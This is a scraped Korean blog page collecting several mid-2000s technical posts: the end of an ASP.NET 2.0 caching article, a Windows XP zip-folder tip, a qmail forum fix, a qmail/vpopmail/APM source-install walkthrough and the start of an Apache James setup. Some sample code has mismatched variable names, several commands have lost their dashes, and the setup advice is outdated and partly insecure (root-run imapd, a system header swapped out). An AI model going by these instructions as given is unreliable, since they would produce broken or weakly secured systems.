<asp:sqldatasource id="Sqldatasource1" runat="server" selectcommand="SELECT * FROM authors" providername="System.Data.SqlClient" > </asp:sqldatasource> </form></body></html>

위 페이지(이 기사의 샘플 코드에도 있음)는 Authors 테이블의 데이터가 변경될 때까지 해당 출력을 캐시합니다. 데이터가 변경되면 업데이트된 데이터를 검색하고 페이지 출력을 다시 한 번 캐시합니다.

SQL Server "Yukon"

SQL Server "Yukon"에서는 새로운 알림 인프라 덕분에 데이터베이스 캐시 무효화를 더욱 쉽게 사용할 수 있습니다. Yukon 데이터로 작업하는 경우 SqlCacheDependency 클래스의 생성자 오버로드를 사용하여 데이터를 검색하는 데 사용된 SqlCommand 인스턴스를 기준으로 종속성을 생성할 수 있습니다. 그러면 백그라운드에서 Yukon 데이터베이스 서버의 알림 메시지를 받기 위한 수신기 개체가 만들어지고 응용 프로그램이 데이터 변경 알림의 대상으로 등록됩니다. 데이터 변경 알림을 받으면 종속성과 관련이 있는 캐시된 항목이 제거됩니다.

Yukon에서 제공하는 알림 서비스의 이점은 특수 테이블, 트리거 또는 저장 프로시저를 사용하여 데이터베이스를 설정할 필요가 없다는 것입니다. Yukon에서는 폴링이 필요하지 않으므로 web.config에서 특수 설정을 수행할 필요도 없습니다. Yukon에서 데이터베이스 캐시 무효화의 이점을 활용하려면 데이터를 검색하는 데 사용된 SqlCommandSqlCacheDependency 클래스의 인스턴스에 연결하는 코드 한 줄만 추가하면 됩니다.

Dim SqlDep As New SqlCacheDependency(SqlCmd)

그리고 SQL Server 7 또는 2000에서와 마찬가지로 종속성을 사용하면 됩니다. 따라서 출력 캐시를 사용하는 페이지를 캐시하는 코드는 다음과 같습니다. 이 코드는 이 기사의 샘플 파일에 있는 SqlCacheInvalidation_Yukon.aspx 페이지에도 사용됩니다.

Dim SqlConn As New _SqlConnection(ConfigurationSettings.ConnectionStrings("PubsConnYukon"))Dim SqlCmd As New SqlCommand("SELECT * FROM Authors", SqlConn)Dim SqlDep As New SqlCacheDependency(SqlCmd) SqlConn.Open()Gridview1.DataSource = SqlCmd.ExecuteReader()Gridview1.DataBind()SqlConn.Close()Response.AddCacheDependency(sqlDependency)Response.Cache.SetValidUntilExpires(True)Response.Cache.SetExpires(DateTime.Now.AddMinutes(60))Response.Cache.SetCacheability(HttpCacheability.Public)

Cache 클래스를 사용하는 데이터 집합을 캐싱하는 코드는 약간 다르지만 기본 개념은 동일합니다. 명령과 SqlCacheDependency를 연결하는 코드는 굵게 표시되어 있습니다.

Dim Key As String = "Authors"If (Cache(Key) Is Nothing) Then Label1.Text = "캐시에 없음…" Dim connection As New _ SqlConnection(ConfigurationSettings.ConnectionStrings("Pubs")) Dim adapter As New _ SqlDataAdapter("SELECT * FROM Authors", connection) Dim DS As New DataSet adapter.Fill(dataSet) Cache.Insert(Key, DS, New SqlCacheDependency(adapter.SelectCommand))Else Label1.Text = "캐시에 있음…"End IfReturn Cache(Key)

이것이 전부입니다. 물론 주의해야 할 점이 두 가지 있습니다. 첫째, Yukon 데이터베이스의 데이터에 액세스하는 데 사용되는 계정에는 대상 데이터베이스에 쿼리 알림 구독을 요청할 수 있는 충분한 권한이 있어야 합니다. 둘째, Yukon의 PDC 빌드에는 버그가 있기 때문에 데이터 변경에 대한 알림을 받으려면 sa 계정을 사용하여 데이터베이스에 로그인해야 합니다.

중요   특수한 경우 가 아니면 어떤 응용 프로그램에서도 sa 계정을 사용하여 데이터에 액세스하거나 데이터를 수정해서는 안 됩니다. 따라서 Yukon의 PDC 빌드에서 SQL 캐시 무효화를 사용하려면 인터넷(웹 서버 및 데이터베이스 서버 포함)에 액세스할 수 없는 응용 프로그램만을 사용해야 합니다.

사후 캐시 대체

마지막으로 다룰 새 기능은 다른 기능이 처리하지 못한 부분을 처리하는 사후 캐시 대체입니다. 많은 응용 프로그램에서, 캐싱에 별로 적합하지 않은 아주 작은 동적 코드에 출력 캐싱을 사용하고자 하는 경우가 종종 있습니다. 사후 캐시 대체를 사용하면 자리 표시자 역할을 하는 컨트롤을 페이지에 추가하여 런타임에 문자열 출력을 반환하는 지정된 메서드를 호출하도록 할 수 있습니다. 이러한 방법으로 캐시를 원하는 대로 사용할 수 있습니다.

또한 사후 캐시 대체는 새로운 기능 중에서 가장 사용하기 쉽습니다. 다음의 두 가지 방법 중 하나로 대체 위치를 선택합니다.

  • Response.WriteSubstitution 메서드를 호출하고 이 메서드에 원하는 대체 메서드 콜백에 대한 참조를 전달합니다.
  • 원하는 위치의 페이지에 <asp:substitution> 컨트롤을 추가하고 methodname 특성을 콜백 메서드의 이름으로 설정합니다.

두 번째 방법의 이점은 문자열 출력이 렌더링되는 위치를 좀 더 정확하게 지정할 수 있다는 것입니다. 두 방법 모두에서 기간, 위치 등을 지정하는 페이지에 @ OutputCache 지시문을 추가하여 페이지 출력을 캐시할 수도 있습니다. 사후 캐시 대체의 또 다른 이점은 이 기능을 활용하는 사용자 지정 컨트롤을 작성할 수 있다는 것입니다. 예를 들어 ASP.NET 팀에서는 AdRotator 컨트롤이 사후 캐시 대체를 인식하도록 다시 작성했습니다. 즉, AdRotator 컨트롤을 페이지에 추가하고 해당 페이지를 출력 캐시하면 AdRotator 컨트롤이 사후 캐시 대체를 자동으로 활용하여 지정된 광고를 올바르게 표시하므로 사용자는 광고를 표시하기 위해 별다른 작업을 하지 않아도 됩니다.

다음 코드는 사후 캐시 대체를 사용하는 페이지의 예를 보여 줍니다. 이 페이지는 Pubs 데이터베이스의 작성자 테이블에서 데이터를 검색하여 GridView에 바인딩하고 AdRotator 컨트롤로부터 광고를 표시합니다. 이 페이지의 Page_Load에는 페이지를 만든 시간이 기록되는 레이블이 들어 있습니다. 또한 <asp:substitution> 컨트롤이 페이지에 추가되어 있고 methodname 특성이 Substitute로 설정되어 있습니다. Substitute는 원하는 문자열(이 경우 단순히 현재 시간이 포함된 문자열)의 출력을 반환하는 메서드의 이름입니다.

<%@ page language="VB" %><%@ outputcache duration="30" varybyparam="none" %><script runat="server" language="vb"> Shared Function Substitute(ByVal MyContext As HttpContext) As String Dim str As String = "캐시된 페이지에 콘텐츠를 추가했습니다!<br/>" str &= "현재 시간: " & DateTime.Now.ToLongTimeString Return str End Function Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) SqlDataSource1.ConnectionString = _ ConfigurationSettings.ConnectionStrings("PubsConn") Label1.Text = "페이지 작성 시간: " + DateTime.Now.ToLongTimeString End Sub</script><html><head id="Head1" runat="server"> <title>Untitled Page</title></head><body> <form id="Form1" runat="server"> <h1> <asp:label id="Label1" runat="server">Label</asp:label> </h1> <br /> <br /> <asp:adrotator id="AdRotator1" width="468px" height="60px" advertisementfile="ads_tall.xml" runat="server" /> <asp:substitution id="Substitution1" methodname="Substitute" runat="server" /> <br /> <br /> <asp:gridview id="GridView1" autogeneratecolumns="False" datasourceid="SqlDataSource1" datakeynames="au_id" runat="server" > <columnfields> <asp:boundfield sortexpression="au_id" datafield="au_id" readonly="True" headertext="만든 이 ID"> </asp:boundfield> <asp:boundfield sortexpression="au_fname" datafield="au_fname" headertext="이름"> </asp:boundfield> <asp:boundfield sortexpression="au_lname" datafield="au_lname" headertext="성"> </asp:boundfield> </columnfields> <rowstyle forecolor="#000066"> </rowstyle> <headerstyle forecolor="White" backcolor="#006699" font-bold="True"> </headerstyle> </asp:gridview> <asp:sqldatasource id="SqlDataSource1" providername="System.Data.SqlClient" selectcommand="SELECT [au_id], [au_fname], [au_lname] FROM dbo.[authors]" runat="server" > </asp:sqldatasource> </form></body></html>

처음 호출될 때 이 페이지는 그림 5에 표시된 출력을 반환합니다. "page created" 레이블과 대체 메서드에 의한 시간 출력이 일치하는 것을 볼 수 있습니다.

그림 5. PostCache.aspx의 초기 출력

페이지를 새로 고치면 출력이 캐시됨에도 불구하고 그림 6과 같이 AdRotator 출력과 Substitute 메서드의 출력은 모두 업데이트되는 반면 페이지의 나머지 부분은 캐시된 상태로 남아 있습니다.

그림 6. 사후 캐시 대체를 통해 캐시된 출력

이 기사의 샘플 파일에는 이 기술을 사용하려는 사용자를 위해 Response.WriteSubstitution을 사용하는 PostCache_RWS.aspx라는 페이지도 포함되어 있습니다.

결론

몇 가지 간단한 기능을 추가함으로써 ASP.NET 팀은 ASP.NET의 유용한 부분을 더욱 훌륭하게 만들었습니다. 다음과 같은 기능이 추가되었습니다.

  • 데이터 중심 페이지 출력 또는 데이터 집합을 캐시하고 데이터가 수정될 때 캐시를 자동으로 삭제할 수 있는 기능
  • 사용자 지정 캐시 종속성을 만들 수 있는 기능
  • 사후 캐시 대체를 통해 런타임에 텍스트 조각을 캐시된 페이지에 동적으로 추가할 수 있는 기능

이러한 기능 때문에 ASP.NET 응용 프로그램 개발자는 더 이상 캐싱을 사용하지 않을 이유가 없습니다. 이로 인해 차세대 ASP.NET 응용 프로그램의 성능은 매우 발전할 것입니다.

관련 서적


저자 소개

G. Andrew Duthie는 Graymad Enterprises, Inc.  설립자이자 대표이며 Microsoft Web 개발 기술에 대한 교육과 컨설팅을 맡고 있습니다. Andrew는 Active Server Pages가 도입된 이후 다중 계층 웹 응용 프로그램을 개발해 오고 있습니다. 또한 Microsoft ASP.NET Programming with Microsoft Visual Basic(영문), Microsoft ASP.NET Programming with Microsoft Visual C#(영문) 및 ASP.NET in a Nutshell(2판)(영문)을 비롯한 다수의 ASP.NET 관련 서적을 저술했습니다. Andrew는 Software Development, Dev-Connections family of conferences, Microsoft Developer Days 및 VSLive 이벤트에서 자주 강연을 하며 .NET 사용자 그룹에서도 INETA(International .NET Association)  강연자 협회 회원으로 강연을 맡고 있습니다. Andrew에 대한 자세한 내용을 알아보려면 회사 웹 사이트인 http://www.graymad.com/ 을 방문하십시오.

작성자 메모

이 기사를 작성하는 것은 물론 이 기사의 예제에 사용된 코드 샘플의 초안을 만들어 주신 ASP.NET 팀의 캐싱 분야 상근 전문가인 Rob Howard에게 감사를 드립니다.



화면 맨 위로화면 맨 위로


최종 수정일: 2004년 8월 3일
Posted by tornado
|

윈도우 탐색기 폴더 트리에서 압축파일 디렉토리 처럼 인식하지 않게 하기


XP의 탐색기에서 파일과 폴더를 검색할 때,
Win98이나 Win2000에서 처럼 빨리 검색이 안 되기 때문에 저는 주로
File Finder 라는 실행파일 하나를 사용합니다.

XP는 Zip 파일을 폴더처럼 사용하기 때문에 검색할 때도
zip 파일까지 검색하므로 이 기능을 제거하면 조금 더 빨라 지는데,
제거하는 방법은 시작 -> 실행에서 아래와 같이 하면 되네요.

zip 기능 제거 : regsvr32 /u %windir%\system32\zipfldr.dll
zip 기능 복원 : regsvr32 /s %windir%\system32\zipfldr.dll

zip 기능을 제거한 뒤에 Zip 파일에 오른쪽 마우스를 클릭하여
연결프로그램에서 Winrar 나 알집과 같은 프로그램으로 연결해주면
다시 복원이 되는 것을 방지할 수 있네요.

XP에서 Zip기능을 제거하기 전과 후의 검색시간을 비교해보니까,
Zip 기능 제거 전에는 2분 20초가 걸렸고, Zip 기능 해제 후에는 55초가 소요되었습니다.
제가 주고 사용하고 있는 File Finder는 20초 걸렸습니다.


File Finder의 사용법은,
1. File Finder의 실행파일인 pdfind.exe (184KB)를 Windows 폴더나 system32 폴더에 넣어 둡니다.

2. 아래의 내용을 메모장에서 편집하여 reg 파일로 변경한 다음,
더블클릭하여 레지스트리에 등록합니다.

============
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\pdfind]
@="검색(pdfind)"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\pdfind\command]
@="pdfind.exe"
============

3. 폴더나 작업표시줄 왼쪽의 "시작"에 오른쪽 마우스를 클릭하여 “검색(pdfind)"을
선택한 후 검색하면 탐색기에서 검색하는 것보다 훨씬 편한 것 같네요.
6개보다 많은 파일을 한꺼번에 검색할 때는 탐색기에서 검색을 하세요.

4. 위와같이 레지스트리에 등록 안 하고, 바로가기 아이콘을 만들어서 사용해도 됩니다만...


출처 : http://manian.dreamwiz.com/board/view.asp?bid=A020104&no=3393


Posted by tornado
|

linux.ro Forum Index ? ? Configurare linux ? ? Pb qmail
Autor Pb qmail
georgem1971


Inregistrat: Sep 13, 2003
Postari: 18
Sistem de operare: Red Hat

Postat: 2004-05-16 13:40   
Uh-oh:_.qmail_has_prog_delivery_but_has_x_bit_set._(#4.7.0)/ = asta e eroarea din /var/log/qmail/qmail-send.Mailurile ajung de la user@domeniu la orice alta adresa numai la cea locala nu.(de la user@domeniu catre orice@domeniu nu vine nimich)
Multumesc!!!


Vezi profilul lui georgem1971   Email georgem1971       Editeaza/Sterge This Post   Reply with quote
horchi


Inregistrat: Mar 07, 2003
Postari: 119
Sistem de operare: Free BSD &


De la: Bucuresti
Postat: 2004-05-17 08:35   
Salut!
Din cate cred ai instalat qmai+vpopmail. Daca e asa chmod -x /home/vpopmail/domain/domenui.ro/.qmail-default. De asemenea trebuie sa stii ca orice fisier .qmail- nu trebuie sa aiba setat +x (risc de securitate). In concluzie e bine sa faci un chmod -x la toate fisierele .qmail- (inclusiv acelea din /var/qmail/alias/)
Bafta!
_________________
Actually, unix is a very user-friendly system. It’s just that it is particular about which users it chooses to be friendly with.


Vezi profilul lui horchi   Email horchi     Editeaza/Sterge This Post   Reply with quote

http://www.linux.ro/forum/viewtopic.php?topic=10831&forum=6&1

'OS > LINUX' 카테고리의 다른 글

[qmail]queue-fix  (0) 2006.05.30
[qmHandle 1.2] 큐메일 제어 스크립트  (0) 2006.05.29
qmail+vpopmail 설치  (0) 2006.02.24
Apache James Setting  (0) 2006.02.23
sendmail 설정후 외부메일 안들어올때 -0-  (0) 2006.02.21
Posted by tornado
|

qmail+vpopmail 설치

OS/LINUX 2006. 2. 24. 12:54
qmail + vpopmail 설치편


qmail을 설치해봅시다. 여기서는 qmail+vpopmail+mysql+courier-imap 기반으로 설치를 합니다.

설치할 소스
apache_1.3.31 (http://httpd.apache.org/download.cgi)
php_4.3.7 (http://www.php.net/downloads.php)
mysql_4.0.20 (http://dev.mysql.com/downloads/)
gd_2.0.26 (http://www.boutell.com/gd/http/)
freetype_2.1.9 (http://prdownloads.sourceforge.net/freetype)
ZendOptimizer_2.5.2 (http://zend.com/store/products/zend-optimizer.php)
imap_4.7c2 (ftp://ftp.cac.washington.edu/imap/)
courier-imap_3.0.7 (http://prdownloads.sourceforge.net/courier/)
libiconv_1.9.1 (http://ftp.gnu.org/pub/gnu/libiconv/)
qmail_1.03 (http://qmail.org)
vpopmail_5.4.5 (http://www.inter7.com/vpopmail.html)
daemontools_0.76 (http://qmail.org/moni.csi.hu/pub/qmail/qmail-run/)
ucspi-tcp_0.88 (http://qmail.org/moni.csi.hu/pub/qmail/qmail-run/)
autorespond_2.0.2 (http://www.inter7.com/devel/)
ezmlm_0.53 (http://gd.tuwien.ac.at/infosys/mail/qmail/ezmlm-patches/)
qmailadmin_1.2.1 (http://www.inter7.com/qmailadmin/)
maildrop_1.5.2 (http://prdownloads.sourceforge.net/courier/)
ntop_3.0 (http://sourceforge.net/projects/ntop)
libpcab (ftp://ftp.ee.lbl.gov)

패치파일
gd 패치 : patch_gd2.0.26_gif_040622 (http://downloads.rhyme.com.au/gd/)
daemontools 패치 : daemontools-0.76.errno.patch (http://qmail.org/moni.csi.hu/pub/glibc-2.3.1/)
qmail 패치 : cocktail.patch (http://people.kldp.org/~eunjea/qmail/patch/)
ucspi-tcp 패치 : ucspi-tcp-0.88.errno.patch, ucspi-tcp-0.88.a_record.patch, ucspi-tcp-0.88.nobase.patch(http://qmail.org/moni.csi.hu/pub/glibc-2.3.1/)
ezmlm 패치 : idx.patch (http://qmail.org/moni.csi.hu/pub/glibc-2.3.1/)


▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧

1. 설치준비

먼저 설치할 소스를 다운받아 특정폴더에 넣어놓자

여기서는 /usr/local/source 디렉토리를 만들어서 여기에 모두 카피하였다.


2. RPM으로 설치된 패키지 제거

리눅스 설치를 everything으로 하였다면 rpm으로 APM이 설치되어있을 것이다.

해당 패키지들은 모두 제거해줘야한다.


먼저 관련 프로세스가 떠있는지 확인하고 떠있다면 죽여주자


apache 데몬이 있는지 확인

[root@localhost root]# ps -ef | grep httpd

root      4458  3462  0 20:02 pts/0    00:00:00 grep httpd

위와 같이 나오면 데몬이 없는 것이다.

실행중인 데몬이 있으면 데몬을 종료 (killall httpd)


mysql 데몬이 있는지 확인

[root@localhost root]# ps -ef | grep mysqld

이것 역시 떠있는 데몬이 있으면 종료해준다.


RPM 패키지 확인


설치된 apache 패키지 검색

[root@localhost root]# rpm -qa | grep httpd

httpd-manual-2.0.40-21

redhat-config-httpd-1.0.1-18

httpd-devel-2.0.40-21

httpd-2.0.40-21


apache 제거

[root@localhost root]# rpm -e --nodeps httpd-2.0.40-21

위와같은 방법으로 검색된 패키지들은 모두 삭제하자. --nodeps 옵션을 붙혀준 것은 의존성 때문이다.

이 옵션을 붙히지 않으면 다른 패키지가 이 패키지를 dependant 하고 있으므로 삭제할 수 없다는 메시지가 나온다.


설치된 mysql 패키지 검색

[root@localhost root]# rpm -qa | grep mysql

mysql-devel-3.23.54a-11

php-mysql-4.2.2-17

libdbi-dbd-mysql-0.6.5-5

mysql-server-3.23.54a-11

mysql-3.23.54a-11

mod_auth_mysql-1.11-12


mysql 제거

[root@localhost root]# rpm -e --nodeps mysql-3.23.54a-11

검색된 다른 패키지들도 동일한 방법으로 지워줌


설치된 php 패키지 검색

[root@localhost root]# rpm -qa | grep php

php-ldap-4.2.2-17

php-4.2.2-17

asp2php-gtk-0.76.2-5

php-manual-4.2.2-17

asp2php-0.76.2-5

php-devel-4.2.2-17

php-pgsql-4.2.2-17

php-odbc-4.2.2-17

php-snmp-4.2.2-17

php-imap-4.2.2-17


php 제거

[root@localhost root]# rpm -e --nodeps php-4.2.2-17

검색된 다른 패키지들도 동일한 방법으로 지워줌


gd 제거

[root@localhost root]# rpm -e --nodeps gd


freetype 제거

[root@localhost root]# rpm -e --nodeps freetype

3. libiconv 설치
웹메일에서 사용하게 될 iconv를 설치하자

[root@localhost root]# cd /usr/local/source/
[root@localhost source]# tar xvfz ./libiconv-1.9.1.tar.gz
[root@localhost source]# cd libiconv*
[root@localhost libiconv-1.9.1]# ./configure --prefix=/usr/local
[root@localhost libiconv-1.9.1]# make
[root@localhost libiconv-1.9.1]# make install


4. mysql 설치

mysql 그룹과 유저가 등록이 되어있는지 확인한다. 리눅스를 everything 으로 설치했다면 당연히 존재할것이다.

/etc/passwd 파일과 /etc/group 파일을 열면 존재여부를 확인할수 있다.


# vi /etc/passwd

:

mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

:

# vi /etc/group

:

mysql:x:27:

:


보는바와 같이 이미 mysql 그룹과 유저가 생성되어 있다는 것을 알수 있다. Rpm으로 설치된 mysql때문이다.

만약 만약 생성되어있지 않다면 다음과같이 그룹과 유저를 추가시켜준다.


# groupadd mysql

# useradd -g mysql mysql


등록이 끝났으면 mysql을 다운받은 소스 디렉토리로 이동하여 설치할 준비를 하자

# cd /usr/local/source

[root@localhost source]# tar xvfz mysql*

[root@localhost source]# cd mysql*

[root@localhost mysql-4.0.20]# ./configure \

--prefix=/usr/local/mysql \

--with-charset=euc_kr \

--localstatedir=/usr/local/mysql/data


[root@localhost mysql-4.0.20]# make

[root@localhost mysql-4.0.20]# make install


인스톨까지 끝났다면 mysql에 사용될 기초적인 DB를 생성해준다.

[root@localhost mysql-4.0.20]# scripts/mysql_install_db


DB 생성후엔 데이터가 저장되는 폴더안의 내용물들의 소유권을 mysql 유저에게 주어야 한다.

[root@localhost mysql-4.0.20]# chown -R mysql.mysql /usr/local/mysql/data


환경설정 파일을/etc/my.cnf 에 복사한다.

[root@localhost mysql-4.0.20]# cp support-files/my-medium.cnf /etc/my.cnf


mysql 데몬스크립트 mysql.server 파일에 mysql_safe가 실행되는 라인에 language 옵션을 추가한다.

현재 설치하고 있는 mysql 버전은 4.0.20 임을 잊지말자.

[root@localhost mysql-4.0.20]# vi /usr/local/mysql/share/mysql/mysql.server

mysql.server 내용

$bindir/mysqld_safe --datadir=$datadir --language=korean --pid-file=$pid_file >/dev/null 2>&1 &


mysql 경로 설정

[root@dentistrytest mysql-4.0.20]# vi /root/.bash_profile

/usr/local/mysql/bin 추가

.bash_profile 내용

PATH=$PATH:$HOME/bin:/usr/local/mysql/bin


부팅시 자동실행될 수 있도록 링크를 걸고 데몬을 띄워보자

[여기서 잠깐!]

mysql rpm 패키지를 제거할 때 관련패키지를 제거하지 않았다면 기존의 mysql이 부팅시 자동실행되도록 등록되어있을것이다. 여기서는 위와같이 링크를 걸어줬으므로 이 링크파일은 제거해줘야한다. 아까전에 생성한 링크원본 파일이 리눅스 배포판의 mysql데몬 이름과 같다면 새롭게 링크를 걸 필요가 없지만 지우고 새로이 만드는게 좋다.


root@localhost mysql-4.0.20]# cd /etc/rc.d/init.d/rc3.d

root@localhost rc3.d]# ls al *mysql*

lrwxrwxrwx    1 root     root           16 Oct 11 15:21 K20mysqld -> ../init.d/mysqld


위와같이 mysql 관련 링크가 있으면 삭제해주자

root@localhost rc3.d]# rm rf K20mysqld


rc5.d 디렉토리 내용도 똑같이 삭제해준다.

root@localhost mysql-4.0.20]# cd /etc/rc.d/init.d/rc5.d

root@localhost rc5.d]# ls al *mysql*

lrwxrwxrwx    1 root     root           16 Oct 11 15:21 K20mysqld -> ../init.d/mysqld

root@localhost rc5.d]# rm rf K20mysqld


이제 링크를 걸어주면 되겠다.

root@localhost mysql-4.0.20]# cp -p /usr/local/mysql/share/mysql/mysql.server /etc/rc.d/init.d/mysqld

이 과정에서 혹 같은 이름의 파일이 존재한다는 경고창이 나오면 y를 누르고 그냥 무시하자

root@localhost mysql-4.0.20]#ln -s /etc/rc.d/init.d/mysqld /etc/rc.d/rc3.d/S90mysqld

root@localhost mysql-4.0.20]#ln -s /etc/rc.d/init.d/mysqld /etc/rc.d/rc5.d/S90mysqld

root@localhost mysql-4.0.20]# /etc/rc.d/init.d/mysqld start


위와같이 링크를 걸지 않고 편하게 하고 싶다면 /etc/rc.d/rc.local 파일을 vi 에디터로 열어서 제일 마지막 라인에

데몬파일의 경로를 써주면 되겠다.


mysql 데몬 확인

# ps -ef | grep mysql

mysql     3537  3501  0 15:02 ?        00:00:00 [mysqld]

500       4055  3421  0 15:04 pts/0    00:00:00 grep mysqld


이제 다 끝났으면 mysql에 접속을 해보자

[root@localhost mysql-4.0.20]# /usr/local/mysql/bin/mysql mysql

mysql>


위와같이 프롬프트가 떴다면 정상적으로 설치된것이다.

기타 mysql 계정 추가하는 법은 여기서 설명하지 않겠다. DB 계정추가 및 자세한 사항은 MYSQL TIP 메뉴를 이용 바란다.


5. Freetype 설치

# cd /usr/local/source

[root@localhost source]# tar xvfz freetype-2.1.9*

[root@localhost source]# cd freetype-2.1.9

[root@dentistrytest freetype-2.1.9]# ./configure

[root@dentistrytest freetype-2.1.9]# make

[root@dentistrytest freetype-2.1.9]# make install



6. GD 설치

# cd /usr/local/source

[root@localhost source]# tar xvfz gd*

[root@localhost source]# cd gd*


gif 지원을 위해 패치를 해준다. 현재 GD버전은 gd-2.0.26이다.

본인의 경우는 패치파일들은 모두 /usr/local/source/patches에 모아놨다. 패치파일이 다른 디렉토리에 있다면 경로를 적절하게 써주면 되겠다.

[root@localhost gd-2.0.26]# patch -l < ../patches/patch_gd2.0.26_gif_040622

[root@localhost gd-2.0.26]# ./configure --prefix=/usr/local/gd --with-freetype=/usr/local/include/freetype2

[root@localhost gd-2.0.26]# make

[root@localhost gd-2.0.26]# make install



7. Apache 설치(1)

php 컴파일을 위해 apache 를 설정해준다.

# cd ..

[root@localhost source]# tar xvfz apache*

[root@localhost source]# cd apache*

[root@localhost apache_1.3.31]# ./configure -prefix=/usr/local/apache


8. IMAP 설치 (웹메일도 설치할 경우만)

이쯤에서 php 컴팔할때 사용할 IMAP을 설치해주자 IMAP2001 시리즈나 2002시리즈는 비추한다. IMAP4.7C2 강추!

최신 버전의 레드햇 계열에서 그냥 컴파일을 한다면 우리는 time.h 오류를 접할수 있을것이다.
IMAP configure 소스파일의 경로가 /usr/include/sys/time.h 로 되어있는데 한스텝 올려줘야 에러가 안난다.
현재 설치버전을 반드시 기억하기 바란다. 곧 이러한 삽질을 줄여줄수 있는 버전이 나올것이다.

# mv /usr/include/sys/time.h /usr/include/sys/time.h.ori
# ln -s /usr/include/time.h /usr/include/sys/time.h

설정이 끝났으면 IMAP을 설치하자

# cd /usr/local/source/
[root@localhost source]# tar xvfz imap*
[root@localhost source]# cp ?R imap* /usr/local/
[root@localhost source]# mv /usr/local/imap* /usr/local/imap
[root@localhost source]# cd /usr/local/imap
[root@localhost imap]# make slx
[root@localhost imap]# ln -s c-client include
[root@localhost imap]# ln -s c-client lib
[root@localhost imap]# cd c-client
[root@localhost c-client]# ln -s c-client.a libc-client.a
[root@localhost c-client]# cd ..
[root@localhost imap]# cp imapd/imapd /usr/sbin/in.imapd

xinetd.d/imap 파일을 vi 에디터로 열어서 아래와같이 수정한다. 만약 존재하지 않는다면 만들어준다.
[root@localhost imap]# vi /etc/xinetd.d/imap
service imap
{
        disable = no
        flags = REUSE
        socket_type = stream
        protocol = tcp
        wait = no
        user = root
        server = /usr/sbin/in.imapd
        log_on_failure += USERID
}


xinetd 데몬을 다시 띄우고 time.h를 원상복구 시켜준다.

[root@localhost imap]# /etc/init.d/xinetd restart
[root@localhost imap]# rm /usr/include/sys/time.h
[root@localhost imap]# mv /usr/include/sys/time.h.ori /usr/include/sys/time.h


9. php 설치

이제 php 설치를 한다. 여기서 좀 특별한 것은 는 imap function과 iconv function을 사용하기 위해 옵션을 추가한점이다.

# cd /usr/local/source

[root@localhost source]# tar xvfz php*

[root@localhost source]# cd php*


[root@localhost php-4.3.7]# ./configure --with-config-file-path=/etc \
 --with-exec-prefix=/usr/bin \
 --with-mysql=/usr/local/mysql \
 --with-apache=../apache_1.3.31 \
 --with-imap=/usr/local/source/imap-4.7c \
 --with-gd=/usr/local/gd \
 --with-freetype-dir=/usr/local/include/freetype2 \
 --with-jpeg-dir=/usr/lib/ \
 --with-png-dir=/usr/lib/ \
 --with-zlib-dir=/usr/lib/ \
 --with-language=korean \
 --with-charset=euc-kr \
 --disable-debug \
 --enable-track-vars \
 --enable-safe-mode \
 --enable-gd-native-ttf \
--with-kerberos \
 --enable-mbstring \
 --with-mime-magic \
 --with-iconv=/usr/local/lib/


[root@localhost php-4.3.7]# make

[root@localhost php-4.3.7]# make install


php 환경설정 파일 복사

[root@localhost php-4.3.7]# cp ./php.ini-dist /etc/php.ini


10. apache 설치(2)

[root@localhost php-4.3.7]# cd ../apache*

[root@localhost apache_1.3.31]# ./configure --prefix=/usr/local/apache \

--activate-module=src/modules/php4/libphp4.a \

--enable-module=so \

--enable-shared=max \

--sysconfdir=/usr/local/apache/conf \

--htdocsdir=/usr/local/apache/htdocs \

--logfiledir=/var/log/httpd


[root@localhost apache_1.3.31]# make

[root@localhost apache_1.3.31]# make install


인스톨이 끝났으면 httpd.conf 파일을 수정해줘야한다.

[root@localhost apache_1.3.31]# vi /usr/local/apache/conf/httpd.conf


- ServerName 부분을 주석 해제하고 본인의 아이피나 도메인으로 설정한다.

ServerName 127.0.0.1


- 아래 부분에 index.php 추가

<IfModule mod_dir.c>

    DirectoryIndex index.html index.php

</IfModule>


- AddType 추가

AddType application/x-httpd-php .php .php3 .inc .ph .htm .html

AddType application/x-httpd-php-source .phps


디렉토리 보안을위해 Options 부분 Indexes 를 삭제해준다.

Options Indexes FollowSymLinks MultiViews


시스템 부팅시에 자동 실행되도록 링크를 걸어준다.

[root@localhost apache_1.3.31]# cp -p /usr/local/apache/bin/apachectl /etc/rc.d/init.d/httpd

[root@localhost apache_1.3.31]# ln s /etc/rc.d/init.d/httpd /etc/rc.d/rc3.d/S99httpd

[root@localhost apache_1.3.31]# ln s /etc/rc.d/init.d/httpd /etc/rc.d/rc5.d/S99httpd

[root@localhost apache_1.3.31]# /etc/rc.d/init.d/httpd start


<P style="FONT-SIZE: 12px; MARGIN: 0px
Posted by tornado
|

Apache James Setting

OS/LINUX 2006. 2. 23. 15:31

Apache James 2.1 Setting

mail server로 대다수 서버는 sendmail이라는 데몬을 사용하죠. 물론 qmail이나 다른 데몬들도 많이 나오고 있습니다. 그런데 굳이 java로 된 메일 서버를 쓸 이유까지 있을까도 생각할 수 있지만 이런 질문에 대한 답은 각자 찾아보도록 하기로 하고 james의 사용에 대해서 알아보자.

아쉬운 점은 현재까지 릴리즈된 James 2.1은 IMAP을 지원하지 않기 때문에 이를 이용한 기능은 구현이 어렵다. 하지만 3.0버젼에서는 IMAP을 지원한다고 하니 기대해볼만 하다.


 

James Download & Install

우선 James의 기반이 되는 Avalon과 James를 다음 사이트에서 다운로드 받아서 설치하는 과정이 필요하다.

Avalon :
http://avalon.apache.org/
James : http://james.apache.org/

※ Java 2 Platform, Standard Edition(J2SE)는 기본적으로 필요하다.

Console # gzip -d james-2.1.3.tar.gzConsole # tar xvf james-2.1.3.tarConsole # unzip Avalon-4.1.4-bin.zipConsole # mv james-2.1.3 /usr/local/ ← 원하는 위치로 옮긴다Console # mv Avalon-4.1.4 /usr/local/Console # ln -s /usr/local/james-2.1.3 jamesConsole # ln -s /usr/local/Avalon-4.1.4 avalon


 

Shell Configuration

